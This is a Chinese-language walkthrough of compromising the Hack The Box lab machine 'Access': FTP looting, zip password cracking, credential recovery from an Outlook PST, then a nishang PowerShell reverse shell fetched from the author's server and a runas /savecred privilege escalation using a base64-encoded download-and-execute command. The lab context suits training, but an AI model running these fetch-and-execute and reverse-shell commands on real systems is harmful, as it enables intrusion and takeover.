15

【HTB系列】靶机Access的渗透测试详解

 3 years ago
source link: http://www.cnblogs.com/ms08067/p/14424139.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

出品|MS08067实验室(www.ms08067.com)

本文作者:大方子(Ms08067实验室核心成员)

Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台。它能帮助你提升渗透测试技能和黑盒测试技能,它包含了一些不断更新的挑战,其中有模拟真实世界场景,也有倾向于CTF风格的挑战。

https://www.hackthebox.eu/

2EBJFrI.png!mobile

平台上有很多靶机,从易到难,黑客每入侵一台机器都会获得相应积分,通过积分排名设有名人堂。今天要实验的是靶机Access。

6zU3UvR.png!mobile

一.获取普通用户权限

首先我们用nmap探测下靶机的信息。

nmap -sC -sV -T5 10.10.10.98

vqy67rA.png!mobile

可以看到靶机开放了21,23,80端口。telnet后面有一个?说明nmap也不确定是否为telnet。这里我用msf来探测下FTP是否允许 匿名登陆,使用msf的/auxiliary/scanner/ftp/anonymous模块。

uuEzIfv.png!mobile

FTP是运行匿名登陆的,那我们进行远程登陆FTP看看有什么东西。

YzEZNbr.png!mobile

这里我用wget递归下载FTP文件。

wget -m

ftp://anonymous:[email protected]

FFBRR3Z.png!mobile

发现报错 无法启动PASV传输,那我们加个 --no-passive 使用FTP的被动模式。

wget -m --no-passive

ftp://anonymous:[email protected]

I7VVRnI.png!mobile

nUJ7Vf3.png!mobile

下载成功!同样我们试下Telnet是否能匿名登陆。

eURZJ3E.png!mobile

不存在匿名登陆,但是我也确定了23这个端口的是telnet,接下来在访问下80端口。

fQnAfim.png!mobile

我们download下这个图片看看这个图片是否存在隐藏的信息。

zM3qMfq.png!mobile

先用exiftool查看是否存在图片的其他信息。

UNVrume.png!mobile

好像并没有什么额外的信息,再用strings查找下图片的二进制里面是否有字符串

strings out.jpg

RvaM7zz.png!mobile

也没有发现什么额外的信息,那我们接下来用gobuster进行目录的爆破。

gobuster -u http://10.10.10.98 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

nqmuMnf.png!mobile

经过了挺久的时间,没爆破出什么有用的信息。我们去看下刚刚从FTP下载来的文件,先解压Engineer目录下的Access Control.Zip文件。

YbAnyqR.png!mobile

发生了一个错误,还7z来进行解压。

7z x Access\ Control.zip

vmMBVzq.png!mobile

发现ZIP是需要密码的,随便输入个密码报错,我们用7z 的l命令下的slt命令。

7z l -slt Access\ Control.zip

参数说明:

l:用于显示压缩文件的信息

Slt:属于l下的子命令用来显示压缩文件的技术信息

6bm2Yjv.png!mobile

压缩文件使用AES-256 Deflate进行加密的,我们把密码的HASH提取出来到时候破解用。

zip2john Access\ Control.zip > Access\ Control.hash

jumI7bf.png!mobile

我们在看下另一个文件。

IJjYFn6.png!mobile

是一个access的数据库文件,里面应该会出现用于解压压缩文件的密码。你可以用工具打开查看里面的数据一个一个找找到需要的密码。

feQ3AfF.png!mobile

还有一个更快捷的方法,因为密码最低就是8位的,我们用过strings方法把mdb用二进制文件的形式打开,然后只输出内容大于等于8的内容,在把这些内容输出成一个wordlist用来破解压缩文件。

strings -n 8 backup.mdb | sort -u > ../Engineer/wordlist

strings输出的内容通过sort的-u参数去重,然后在输出到文件里面。

NJbiE3M.png!mobile

然后我们利用john开始破解

yQb2Ibe.png!mobile

破解成功,这里可能不好找到密码可以用这条命令显示破解出的密码。

john Access\ Control.hash --show

eqa6Bfz.png!mobile

密码: access4u@security

那接下来我们去解压压缩文件。

RbQvaaq.png!mobile

解压成功!!!

fuuEBv.png!mobile

我们用file看下这个.pst是什么文件

JBn67zy.png!mobile

是一个outlook的个人文件夹。我们用readpst来读取下,然后目录下面会多出一个Access Control.mbox文件。

yieMBfr.png!mobile

我们用

less Access Control.mbox

AVFNzqB.png!mobile

可以看到security的密码:4Cc3ssC0ntr0ller。我们用获得凭证去登陆telnet。

Security:4Cc3ssC0ntr0ller

2iYJ3eV.png!mobile

登陆成功!然后CD到桌面查看user.txt即可得到user的flag。

Y7BbIzZ.png!mobile

二.获取管理员权限

接下来就是怎么得到管理员权限,测试下powershell是否能正常工作。

fAJFNzE.png!mobile

powershell正常的,那我们本地搭建一个简易的HTTP服务器放上我们的powershell反弹shell脚本,让靶机进行远程下载执行反弹一个shell。

这里用nishang 这是一个基于Powershell的攻击框架,项目地址: https://github.com/samratashok/nishang。

我们新建一个 www目录 然后把nishang里面需要用的脚本copy进去。

cp ~/HTB/Access/nishang/Shells/Invoke-PowerShellTcp.ps1 ~/HTB/Access/www/nishang.ps1

Mr6zAju.png!mobile

然后vi下编辑这个nishang.ps1,在最底下加上这行命令

IbyyEvu.png!mobile

Invoke-PowerShellTcp -Reverse -IPAddress 你的IP地址 -Port 监听端口

然后我们用nc 监听9001

yaiIviQ.png!mobile

接着用python开启HTTP服务器

UjQRZb.png!mobile

然后在目标靶机telnet上执行这段代码,就是远程执行powershell脚本。

powershell "IEX(New-Object Net.WebClient).downloadString(' http://10.10.13.147:8000/nishang.ps1 ')"

J3UB7fR.png!mobile

之后就会反弹一个shell

rEBzye.png!mobile

接下来我们在上传一个脚本用来检测Windows系统以提升权限。JAWS: https://github.com/411Hall/JAWS

eM3yqqR.png!mobile

我们在刚刚反弹的shell中去执行这个脚本,来检测目标系统的信息。

IEX(New-Object Net.WebClient).downloadString('http:// 10.10.13.147:8000/jaws-enum.ps1')

iEVZbq.png!mobile

执行完成后会返回一系列信息,然后在这里查找有关信息,这里我只截取凭证部分。

JvY3meY.png!mobile

上面是电脑中存储的凭证。当然你也可以用cmdkey /list 也会出现相关信息。

riYZFbQ.png!mobile

在查找的过程中我在公共用户的目录里面找到一个快捷连接。

eMn2iiz.png!mobile

百度下具体信息。

BrEnmai.png!mobile

用type查看下内容,发现一些关键信息

ZFZRbmQ.png!mobile

Runas并且带有/savecred ,Runas的介绍: https://blog.csdn.net/nzjdsds/article/details/88312910。

这个就可以成为我们的利用点,但是用type获得信息杂乱无章,我们需用另一种方法来获得更为详细的整洁的输出。这里我们用script脚本的创建快捷方式实现。

  1. $WScript = New-Object -ComObject Wscript.Shell
  2. $shortcut = Get-ChildItem *.lnk
  3. $Wscript.CreateShortcut($shortcut)

iyiIRrN.png!mobile

YzmQnie.png!mobile

这里WScript用来绑定Wscript.Shell的,然后Get-ChildItem *.lnk 就是跟dir差不多找出后缀为.lnk文件(效果图如下)。

AZFJje3.png!mobile

然后我们调用Wscript的CreateShortcut函数创建快捷方式来查看里面的lnk里面的详细信息。

这里我要说一下就是这里创建的快捷方式是存在内存里面的,在调用这个函数的SAVE函数之前,这个快捷方式是存在内存里面的,我们只是需要这个ZKAccess3.5Security System.lnk里面的详细工整的信息只是通过这个方式查看而已。

FZJVJv7.png!mobile

在这里面我们可以很清楚的看到runas 并且带有savecred 参数。所以这边我们runas的话可以不需要用户的凭证。

NVv6Zzr.png!mobile

但是runas之后没有任何报错,但是命令也没有执行成功,应该是编码的问题。接下来我们主要就是在这个shell中在runas反弹一个管理员权限的shell。

我们先在自己的Kali中监听9002,然后把我们之前用于反弹的nishang.ps1重新复制一份为nishang2.ps1并编辑下把nishang2.ps1把监听的端口改为9002

【这里由于靶机不是一天之内完成并写好文章的,所以自己的IP地址后来变成10.10.12.114】

runas /user:ACCESS\Administrator /savecred "powershell "IEX(New-Object Net.WebClient).downloadString(' http://10.10.12.114:8000/nishang2.ps1 ')""

N7nqi26.png!mobile

mmiauaV.png!mobile

2AJBfym.png!mobile

这里我换了一种格式写,发现我的python HTTP服务器出现了响应,但是9002并没有返回shell。

在这里猜测可能是编码的问题,windows和linux采用的编码不一样,所以我们的命令需要转换成windows能够识别的编码,这里我们用iconv和base64。这里转码要用UTF-16LE。

echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.12.114:8000/nishang2.ps1')" | iconv --to-code UTF-16LE | base64 -w 0

输出内容:

SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMgAuADEAMQA0ADoAOAAwADAAMAAvAG4AaQBzAGgAYQBuAGcAMgAuAHAAcwAxACcAKQA=

然后我们执行下:

runas /user:ACCESS\Administrator /savecred "Powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMgAuADEAMQA0ADoAOAAwADAAMAAvAG4AaQBzAGgAYQBuAGcAMgAuAHAAcwAxACcAKQA="

73qm6jj.png!mobile

然后发现9002端口得到shell说明执行成功

MbEf2ma.png!mobile

naEvaa3.png!mobile

jeymymm.png!mobile

到root的flag。

转载请联系作者并注明出处!

Ms08067安全实验室专注于网络安全知识的普及和培训。团队已出版《Web安全攻防:渗透测试实战指南》,《内网安全攻防:渗透测试实战指南》,《Python安全攻防:渗透测试实战指南》,《Java代码安全审计(入门篇)》等书籍。

团队公众号定期分享关于CTF靶场、内网渗透、APT方面技术干货,从零开始、以实战落地为主,致力于做一个实用的干货分享型公众号。

官方网站: https://www.ms08067.com/

扫描下方二维码加入实验室VIP社区

加入后邀请加入内部VIP群,内部微信群永久有效!

jIRn2qn.jpg!mobileaMfmiuZ.jpg!mobilevURFBzZ.jpg!mobile

Nfyi6fa.jpg!mobilev6rAfmF.jpg!mobilerymEfuB.jpg!mobile


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK